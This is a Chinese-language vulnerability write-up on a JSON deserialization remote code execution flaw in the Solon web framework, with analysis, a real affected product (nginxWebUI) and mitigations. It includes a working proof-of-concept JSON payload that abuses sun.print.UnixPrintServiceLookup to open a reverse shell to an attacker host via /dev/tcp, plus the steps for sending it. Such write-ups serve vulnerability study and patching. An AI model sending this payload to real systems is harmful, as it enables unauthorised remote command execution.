国产web框架Solon
字数 1537 2025-08-19 12:41:16
Solon框架JSON解析漏洞分析与利用教学文档
漏洞概述
本漏洞存在于国产Web框架Solon的2.5.11及以下版本中,涉及JSON解析过程中的不安全反序列化操作,可能导致远程代码执行(RCE)。该漏洞在Linux系统且JDK环境下可被利用。
漏洞影响
- 受影响版本:Solon 2.5.11及以下版本
- 环境要求:
- Linux操作系统
- JDK环境(JRE环境不可利用)
- 触发条件:任何接收JSON参数的API端点
环境搭建
-
使用官方示例项目:
https://solon.noear.org/start/build.do?artifact=helloworld_jdk8&project=maven&javaVer=1.8 -
修改
pom.xml中的Solon版本为存在漏洞的版本:<parent> <groupId>org.noear</groupId> <artifactId>solon-parent</artifactId> <version>2.5.11</version> <!-- 存在漏洞的版本 --> <relativePath/> </parent> -
必须在Linux系统且JDK环境下启动应用
漏洞分析
JSON处理流程
-
请求处理入口:
org.noear.solon.core.handle.ActionExecuteHandlerDefault#executeHandle- 调用
mWrap.invokeByAspect(obj, args.toArray())执行控制器方法
-
参数绑定:
buildArgs(ctx, obj, mWrap)方法负责参数绑定- JSON数据会被解析为
ONode对象
-
类型处理:
- 通过
@type指定要反序列化的类 org.noear.snack.to.ObjectToer#getTypeByNode方法根据@type加载类
- 通过
-
对象实例化与赋值:
- 使用
ClassWrap.get(clz)获取类包装 - 扫描目标类的所有非静态字段
- 通过反射或setter方法为字段赋值
- 使用
与Fastjson的区别
-
赋值限制:
- 仅当目标对象存在对应字段时才会赋值
- 不会自动调用setter/getter方法
- 因此Fastjson的传统payload无法直接使用
-
可利用类:
sun.print.UnixPrintServiceLookup类可利用- 实例化时会启动线程执行
refreshServices() - Linux下会调用
getDefaultPrinterNameBSD()方法 - 存在命令拼接和执行操作
漏洞利用
POC构造
{
"name": {
"@type": "sun.print.UnixPrintServiceLookup",
"lpcFirstCom": [
";sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1;",
";sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1;"
]
}
}
利用步骤
- 构造上述JSON payload,替换其中的IP和端口
- 向目标应用的任意接收JSON参数的API端点发送POST请求
- 成功触发后,攻击者服务器将收到反弹shell
实际案例:nginxWebUI漏洞
- 受影响版本:nginxWebUI v4.2.2
- Solon版本:2.4.5(存在漏洞)
- 利用限制:
- 官方Docker镜像使用JRE环境,无法利用
- 必须在JDK环境下启动才能成功利用
防御措施
- 升级Solon框架:升级到2.5.12及以上版本
- 环境限制:
- 生产环境使用JRE而非JDK
- 考虑使用非Linux系统(如Windows)降低风险
- 输入验证:对接收的JSON数据进行严格验证
- 安全配置:禁用不必要的类反序列化
技术细节补充
关键类分析
-
sun.print.UnixPrintServiceLookup:- 位于JDK中,JRE环境不可用
- 实例化时启动线程执行
refreshServices() lpcFirstCom属性用于命令执行
-
ClassWrap:- 负责类元数据缓存和字段扫描
- 通过反射获取类字段信息
漏洞限制
- 必须满足Linux+JDK环境组合
- 目标类必须包含对应字段才能赋值
- 无法利用传统的Fastjson gadget chain
总结
该漏洞展示了Solon框架在JSON解析过程中的不安全反序列化问题,通过精心构造的payload可导致RCE。虽然利用条件较为严格(需Linux+JDK),但在符合条件的环境中危害严重。开发者应及时升级框架版本,并采取适当的安全措施防范此类漏洞。